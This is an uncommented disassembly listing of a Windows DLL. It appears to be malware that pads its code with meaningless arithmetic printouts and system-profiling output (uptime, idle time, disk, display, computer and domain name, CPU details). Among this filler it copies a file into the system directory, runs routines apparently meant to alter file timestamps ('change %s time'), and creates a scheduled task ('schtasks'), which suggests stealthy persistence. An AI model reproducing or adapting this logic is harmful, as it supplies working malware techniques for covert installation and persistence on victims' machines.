mov r8d, 0x104
lea rcx, [rbp + 0x2b0]
call fcn.18001d1b0
mov edx, 0x104
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov r14, rax
movabs rax, 0x8daea1d7f4cf721b
mul r14
mov rsi, r14
sub rsi, rdx
shr rsi, 1
add rsi, rdx
shr rsi, 0x1a
imul rcx, rsi, 0x5265c00
mov rdx, r14
sub rdx, rcx
movabs rcx, 0x4a90be587de6e565
mov rax, rcx
mul rdx
mov rdi, rdx
shr rdi, 0x14
mov rax, rcx
mul r14
shr rdx, 0x14
imul rax, rdx, 0x36ee80
mov rbx, r14
sub rbx, rax
movabs rcx, 0x179ec9cbd821dc3b
mov rax, rcx
mul rbx
sub rbx, rdx
shr rbx, 1
add rbx, rdx
shr rbx, 0xf
mov rax, rcx
mul r14
mov rcx, r14
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xf
imul rcx, rcx, 0xea60
sub r14, rcx
movabs rax, 0x624dd2f1a9fbe77
mul r14
sub r14, rdx
shr r14, 1
add r14, rdx
shr r14, 9
lea rdx, str.System_Uptime:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, esi
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._days_
call fcn.1800128c0
mov rcx, rax
mov edx, edi
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._hours_
call fcn.1800128c0
mov rcx, rax
mov edx, ebx
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._minutes_
call fcn.1800128c0
mov rcx, rax
mov edx, r14d
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._seconds
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov ebx, r15d
mov dword [rbp + 0x110], 8
lea rcx, [rbp + 0x110]
call qword [sym.imp.USER32.dll_GetLastInputInfo]
test eax, eax
je 0x18000df57
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
sub ecx, dword [rbp + 0x114]
mov eax, 0x10624dd3
mul ecx
mov ebx, edx
shr ebx, 6
lea rdx, str.Idle_Time:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, ebx
call fcn.18000fdf0
mov rcx, rax
lea rdx, str._seconds
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
xorps xmm0, xmm0
cvtsd2ss xmm0, xmm10
cvtps2pd xmm6, xmm0
movaps xmm2, xmm6
movq r8, xmm6
mov edx, 9
lea rcx, str.Square_root_of__d_is__.2f_n
call fcn.1800017e0
movaps xmm3, xmm7
movq r9, xmm7
movsd xmm2, qword [0x180055438]
movq r8, xmm2
movsd xmm1, qword [0x180055430]
movq rdx, xmm1
lea rcx, str.Product_of__.2f_and__.2f_is__.2f_n
call fcn.1800017e0
lea r8, [0x1800551f0]
mov edx, 0x104
lea rcx, [rbp + 0x2b0]
call fcn.180024384
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, str.Current_Time_1:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x38]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x36]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x34]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
mov edx, 4
lea r8d, [rdx + 0xc]
lea rcx, str.Square_of__d_is__d_n
call fcn.1800017e0
mov edx, 0x2c
lea rcx, str._c_is_a_punctuation_mark._n
call fcn.1800017e0
lea r8, [rbp + 0x170]
cmp qword [rbp + 0x188], 0x10
cmovae r8, qword [rbp + 0x170]
mov edx, 0x104
lea rcx, [rbp + 0x2b0]
call fcn.180024384
mov edx, 0x48
lea rcx, str._c_is_an_uppercase_letter._n
call fcn.1800017e0
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x38]
lea rdx, [rbp + 0x950]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [0x180062260]
test eax, eax
je 0x18000e12e
mov rdi, qword [rsp + 0x30]
shr rdi, 0x1e
mov rbx, qword [rsp + 0x38]
shr rbx, 0x1e
lea rdx, str.Disk_Usage:
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Free
jmp 0x18000e135
lea rdx, str.Failed_to_get_disk_usage_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov dword [rbp + 0x600], 0x348
mov ebx, r15d
xor r9d, r9d
lea r8, [rbp + 0x600]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
mov r14d, 0xdc
test eax, eax
je 0x18000e28c
lea rdx, str.Display_Device_Name:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp + 0x604]
call fcn.18000fa90
mov rcx, rax
call fcn.180012b30
lea rdx, str.Display_Device_String:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp + 0x644]
call fcn.18000fa90
mov rcx, rax
call fcn.180012b30
mov word [rbp + 0x34], r14w
lea r8, [rbp - 0x10]
mov edx, 0xffffffff
lea rcx, [rbp + 0x604]
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
test eax, eax
je 0x18000e262
lea rdx, str.Display_Resolution:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x9c]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180054e98]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0xa0]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Display_Refresh_Rate:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0xa8]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180054eb8]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rcx, [0x180062260]
call fcn.180012b30
inc ebx
xor r9d, r9d
lea r8, [rbp + 0x600]
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
test eax, eax
jne 0x18000e171
mov edx, 8
lea r8d, [rdx + 0xd]
lea rcx, str.Fibonacci_number_at_position__d_is__d_n
call fcn.1800017e0
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x950]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [0x180062260]
test eax, eax
je 0x18000e314
mov rdi, qword [rsp + 0x38]
shr rdi, 0x1e
mov rbx, qword [rsp + 0x30]
shr rbx, 0x1e
lea rdx, str.Disk_Usage:
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Free
jmp 0x18000e31b
lea rdx, str.Failed_to_get_disk_usage_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 0x19
mov r9d, edx
lea r8d, [rdx + 5]
lea rcx, str.The_minimum_number_between__d_and__d_is__d_n
call fcn.1800017e0
lea rdx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rdx, qword [rbp + 0x118]
xor r8d, r8d
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x18000e543
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rbp - 0x70]
call fcn.1800042e0
mov rbx, rax
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
mov r8d, 0x19
lea rdx, str.copy__s_to__s_error.__s_r_n
lea rcx, [rsp + 0x50]
call fcn.180011570
cmp qword [rbx + 0x18], 0x10
jb 0x18000e3b7
mov rbx, qword [rbx]
lea r8, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae r8, qword [rbp + 0x118]
mov r9, rbx
lea rdx, [rbp + 0x2b0]
lea rcx, [rsp + 0x50]
call fcn.180003270
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x18000e41e
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000e419
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000f9d2
call fcn.18001ae7c
mov edx, 7
lea rcx, str._d_is_odd_n
call fcn.1800017e0
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0xc]
call fcn.18001d1b0
mov dword [rbp - 0x10], 0x114
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
lea rcx, [0x180062260]
test eax, eax
je 0x18000e4b3
lea rdx, str.Operating_System_Version:
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp - 0xc]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180055154]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp - 8]
call fcn.18000fdf0
mov rcx, rax
lea rdx, str.__Build
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp - 4]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180055144]
jmp 0x18000e4ba
lea rdx, str.Failed_to_get_operating_system_version_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov dword [rsp + 0x50], 0x40
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
lea rcx, [0x180062260]
test eax, eax
je 0x18000e537
mov rdi, qword [rsp + 0x60]
shr rdi, 0x14
mov rbx, qword [rsp + 0x58]
shr rbx, 0x14
lea rdx, str.Memory_Usage:
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._MB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
mov rcx, rax
lea rdx, str._MB_Available
jmp 0x18000f8dd
lea rdx, str.Failed_to_get_memory_usage_
jmp 0x18000f8dd
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], 0xf
lea rdx, str.copy__s_to__s_success._r_n
lea rcx, [rsp + 0x50]
call fcn.180011550
lea rcx, [rbp + 0x118]
call fcn.180010280
mov r8, rax
lea rdx, [rbp + 0x2b0]
lea rcx, [rsp + 0x50]
call fcn.180003270
mov dword [rbp + 0x110], 0x10
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x18000e5cf
lea rdx, str.Computer_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rbp - 0x70]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000e5ea
lea rdx, str.Failed_to_get_computer_name_
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov dword [rbp + 0x110], 0x10
lea r8, [rbp + 0x110]
lea rdx, [rsp + 0x50]
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x18000e637
lea rdx, str.Domain_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000e652
lea rdx, str.Failed_to_get_domain_name_
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 7
lea rcx, str._d_is_odd_n
call fcn.1800017e0
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, str.Processor_Architecture:
lea rcx, [0x180062260]
call fcn.1800128c0
movzx ecx, word [rbp - 0x70]
test ecx, ecx
je 0x18000e6c2
sub ecx, 5
je 0x18000e6b9
sub ecx, 1
je 0x18000e6b0
cmp ecx, 3
lea rcx, [0x180062260]
je 0x18000e6a7
lea rdx, str.Unknown
jmp 0x18000e6d0
lea rdx, str.AMD64
jmp 0x18000e6d0
lea rdx, str.IA64
jmp 0x18000e6c9
lea rdx, [0x18005507c]
jmp 0x18000e6c9
lea rdx, [0x180055088]
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Number_of_Processors:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp - 0x50]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Type:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp - 0x4c]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Level:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x44]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Revision:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x42]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
movaps xmm2, xmm6
movq r8, xmm6
mov edx, 9
lea rcx, str.Square_root_of__d_is__.2f_n
call fcn.1800017e0
mov edx, 0x35
lea rcx, str._c_is_a_digit._n
call fcn.1800017e0
movaps xmm3, xmm7
movq r9, xmm7
movsd xmm2, qword [0x180055438]
movq r8, xmm2
movsd xmm1, qword [0x180055430]
movq rdx, xmm1
lea rcx, str.Product_of__.2f_and__.2f_is__.2f_n
call fcn.1800017e0
lea rdx, [rbp + 0x230]
lea rcx, [rsp + 0x50]
call fcn.180001650
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.180009bb0
mov rdx, rax
lea rcx, [rbp + 0x230]
call fcn.180010290
lea rcx, [rbp - 0x70]
call fcn.1800015f0
mov edx, 0x7e4
lea rcx, str._d_is_a_leap_year._n
call fcn.1800017e0
mov edx, 0x19
mov r9d, edx
lea r8d, [rdx + 5]
lea rcx, str.The_minimum_number_between__d_and__d_is__d_n
call fcn.1800017e0
lea r9, [rsp + 0x38]
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x110]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea rcx, [0x180062260]
test eax, eax
je 0x18000e8a0
mov rdi, qword [rsp + 0x38]
shr rdi, 0x1e
mov rbx, qword [rsp + 0x30]
shr rbx, 0x1e
lea rdx, str.Disk_Usage:
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
mov rcx, rax
lea rdx, str._GB_Free
jmp 0x18000e8a7
lea rdx, str.Failed_to_get_disk_usage_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rax, [rsp + 0x50]
mov qword [rbp + 0x950], rax
lea rdx, [rbp + 0x230]
lea rcx, [rsp + 0x50]
call fcn.180001650
mov rbx, rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x70]
call fcn.180001650
nop
mov rdx, rbx
mov rcx, rax
call fcn.18000ae00
lea rcx, [rsp + 0x50]
test al, al
je 0x18000ea0f
lea rdx, str.change__s_time_success._r_n
call fcn.180010320
mov rbx, rax
lea rcx, [rbp + 0x190]
call fcn.180010280
mov rdx, rax
mov rcx, rbx
call fcn.180003270
mov edx, 0x2c
lea rcx, str._c_is_a_punctuation_mark._n
call fcn.1800017e0
mov dword [rsp + 0x50], 0x40
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
lea rcx, [0x180062260]
test eax, eax
je 0x18000e9a1
mov rdi, qword [rsp + 0x60]
shr rdi, 0x14
mov rbx, qword [rsp + 0x58]
shr rbx, 0x14
lea rdx, str.Memory_Usage:
call fcn.1800128c0
mov rcx, rax
mov rdx, rbx
call fcn.18000fc40
mov rcx, rax
lea rdx, str._MB_Total_
call fcn.1800128c0
mov rcx, rax
mov rdx, rdi
call fcn.18000fc40
mov rcx, rax
lea rdx, str._MB_Available
jmp 0x18000e9a8
lea rdx, str.Failed_to_get_memory_usage_
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
xor ecx, ecx
call fcn.1800230fc
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x38]
call fcn.180023458
mov r9, rax
lea r8, str._Y__m__d__H:_M:_S
mov edx, 0x14
lea rcx, [rbp - 0x40]
call fcn.1800204c4
lea rdx, str.Current_Time_2:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp - 0x40]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
jmp 0x18000eba5
lea rdx, str.change__s_time_error._r_n
call fcn.180010320
mov rbx, rax
lea rcx, [rbp + 0x190]
call fcn.180010280
mov rdx, rax
mov rcx, rbx
call fcn.180003270
mov dword [rbp + 0x600], 0x348
mov ebx, r15d
xor r9d, r9d
lea r8, [rbp + 0x600]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
test eax, eax
je 0x18000eb7b
nop
lea rdx, str.Display_Device_Name:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp + 0x604]
call fcn.18000fa90
mov rcx, rax
call fcn.180012b30
lea rdx, str.Display_Device_String:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp + 0x644]
call fcn.18000fa90
mov rcx, rax
call fcn.180012b30
mov word [rbp + 0x34], r14w
lea r8, [rbp - 0x10]
mov edx, 0xffffffff
lea rcx, [rbp + 0x604]
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
test eax, eax
je 0x18000eb51
lea rdx, str.Display_Resolution:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x9c]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180054e98]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0xa0]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Display_Refresh_Rate:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0xa8]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180054eb8]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rcx, [0x180062260]
call fcn.180012b30
inc ebx
xor r9d, r9d
lea r8, [rbp + 0x600]
mov edx, ebx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
test eax, eax
jne 0x18000ea60
mov edx, 4
lea r8d, [rdx + 0xc]
lea rcx, str.Square_of__d_is__d_n
call fcn.1800017e0
mov edx, 8
lea r8d, [rdx + 0xd]
lea rcx, str.Fibonacci_number_at_position__d_is__d_n
call fcn.1800017e0
lea r8, [rbp + 0x118]
lea rdx, [0x180055270]
lea rcx, [rbp - 0x70]
call fcn.1800130a0
nop
lea r8, [0x180055270]
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.180013040
mov rdx, rax
lea rcx, [rbp + 0x1f0]
call fcn.180010290
lea rcx, [rsp + 0x50]
call fcn.1800015f0
nop
lea rcx, [rbp - 0x70]
call fcn.1800015f0
mov edx, 0x19
mov r9d, edx
lea r8d, [rdx + 5]
lea rcx, str.The_minimum_number_between__d_and__d_is__d_n
call fcn.1800017e0
lea rcx, [rbp + 0x950]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, str.Current_Time_2:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x950]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce8]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x952]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce8]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x956]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce4]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x958]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95a]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp + 0x95c]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
mov edx, 0x19
mov r9d, edx
lea r8d, [rdx + 5]
lea rcx, str.The_minimum_number_between__d_and__d_is__d_n
call fcn.1800017e0
jmp 0x18000ecf9
mov r14d, 0xdc
mov edx, 4
lea r8d, [rdx + 0xc]
lea rcx, str.Square_of__d_is__d_n
call fcn.1800017e0
mov ecx, r12d
mov eax, 0x11
cdq
idiv ecx
test edx, edx
je 0x18000ed2d
inc ecx
cmp ecx, 8
jle 0x18000ed11
lea rcx, str._d_is_a_prime_number._n
jmp 0x18000ed34
lea rcx, str._d_is_not_a_prime_number._n
mov edx, 0x11
call fcn.1800017e0
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
lea rdx, str.Current_Time_1:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x38]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x36]
call fcn.18000ffa0
mov rcx, rax
lea rdx, [0x180054ce0]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rbp - 0x34]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
lea rcx, [rbp + 0x270]
call fcn.180010280
mov rcx, rax
call fcn.180024260
mov esi, eax
mov edx, 0xa
lea r9d, [rdx - 7]
lea r8d, [rdx - 3]
lea rcx, str.Difference_between__d_and__d_is__d_n
call fcn.1800017e0
mov edx, 6
mov r8d, 0x2d0
lea rcx, str.Factorial_of__d_is__d_n
call fcn.1800017e0
mov edx, 6
mov r8d, 0x2d0
lea rcx, str.Factorial_of__d_is__d_n
call fcn.1800017e0
test esi, esi
jne 0x18000f07d
mov esi, 5
lea edx, [rsi + 0x43]
lea rcx, str._c_is_an_uppercase_letter._n
call fcn.1800017e0
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, str.Processor_Architecture:
lea rcx, [0x180062260]
call fcn.1800128c0
movzx ecx, word [rsp + 0x50]
test ecx, ecx
je 0x18000ee7e
sub ecx, esi
je 0x18000ee75
sub ecx, 1
je 0x18000ee6c
cmp ecx, 3
lea rcx, [0x180062260]
je 0x18000ee63
lea rdx, str.Unknown
jmp 0x18000ee8c
lea rdx, str.AMD64
jmp 0x18000ee8c
lea rdx, str.IA64
jmp 0x18000ee85
lea rdx, [0x18005507c]
jmp 0x18000ee85
lea rdx, [0x180055088]
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Number_of_Processors:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rsp + 0x70]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Type:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rsp + 0x74]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Level:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rsp + 0x7c]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Processor_Revision:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
movzx edx, word [rsp + 0x7e]
call fcn.18000ffa0
mov rcx, rax
call fcn.180012b30
mov dword [rbp + 0x600], 0x348
xor r9d, r9d
lea r8, [rbp + 0x600]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
test eax, eax
je 0x18000f07d
nop dword [rax]
lea rdx, str.Display_Device_Name:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp + 0x604]
call fcn.18000fa90
mov rcx, rax
call fcn.180012b30
lea rdx, str.Display_Device_String:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
lea rdx, [rbp + 0x644]
call fcn.18000fa90
mov rcx, rax
call fcn.180012b30
mov word [rbp + 0x34], r14w
lea r8, [rbp - 0x10]
mov edx, 0xffffffff
lea rcx, [rbp + 0x604]
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
test eax, eax
je 0x18000f051
lea rdx, str.Display_Resolution:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0x9c]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180054e98]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0xa0]
call fcn.18000fdf0
mov rcx, rax
call fcn.180012b30
lea rdx, str.Display_Refresh_Rate:
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
mov edx, dword [rbp + 0xa8]
call fcn.18000fdf0
mov rcx, rax
lea rdx, [0x180054eb8]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
lea rcx, [0x180062260]
call fcn.180012b30
inc r15d
xor r9d, r9d
lea r8, [rbp + 0x600]
mov edx, r15d
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayDevicesW]
test eax, eax
jne 0x18000ef60
mov dword [rbp + 0x110], 0x10
lea rdx, [rbp + 0x110]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x18000f0c7
lea rdx, str.Computer_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000f0e2
lea rdx, str.Failed_to_get_computer_name_
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov dword [rbp + 0x110], 0x10
lea r8, [rbp + 0x110]
lea rdx, [rbp - 0x70]
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x18000f12d
lea rdx, str.Domain_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rbp - 0x70]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000f148
lea rdx, str.Failed_to_get_domain_name_
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov dword [rbp + 0x110], 0x10
lea rdx, [rbp + 0x110]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x18000f192
lea rdx, str.Computer_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000f1ad
lea rdx, str.Failed_to_get_computer_name_
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov dword [rbp + 0x110], 0x10
lea r8, [rbp + 0x110]
lea rdx, [rbp - 0x70]
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_GetComputerNameExW]
test eax, eax
je 0x18000f1f8
lea rdx, str.Domain_Name:
lea rcx, [0x180062400]
call fcn.180012bc0
mov rcx, rax
lea rdx, [rbp - 0x70]
call fcn.180012bc0
mov rcx, rax
call fcn.180012e40
jmp 0x18000f213
lea rdx, str.Failed_to_get_domain_name_
lea rcx, [0x180062260]
call fcn.1800128c0
mov rcx, rax
call fcn.180012b30
mov edx, 5
lea r9d, [rdx + 3]
lea r8d, [rdx - 2]
lea rcx, str.Sum_of__d_and__d_is__d_n
call fcn.1800017e0
lea rax, [rsp + 0x50]
mov qword [rbp + 0x950], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0x290]
lea rcx, [rsp + 0x50]
call fcn.180001650
mov rdi, rax
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x70]
call fcn.180001650
mov rbx, rax
lea rdx, [rbp + 0x210]
lea rcx, [rbp - 0x40]
call fcn.180001650
cmp qword [rbp + 0x260], 0
seta cl
mov byte [rsp + 0x20], cl
mov r9d, esi
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1800160e0
lea rcx, [rsp + 0x50]
test eax, eax
je 0x18000f330
lea rdx, str.create___s_schtasks_error._r_n
call fcn.180010320
mov rbx, rax
lea rcx, [rbp + 0x210]
call fcn.180010280
mov rdx, rax
mov rcx, rbx
call fcn.180003270
xorps xmm0, xmm0
cvtsd2ss xmm0, xmm10
cvtps2pd xmm2, xmm0
movq r8, xmm2
mov edx, 9
lea rcx, str.Square_root_of__d_is__.2f_n
call fcn.1800017e0
movaps xmm3, xmm7
movq r9, xmm7
movsd xmm2, qword [0x180055438]
movq r8, xmm2
movsd xmm1, qword [0x180055430]
movq rdx, xmm1
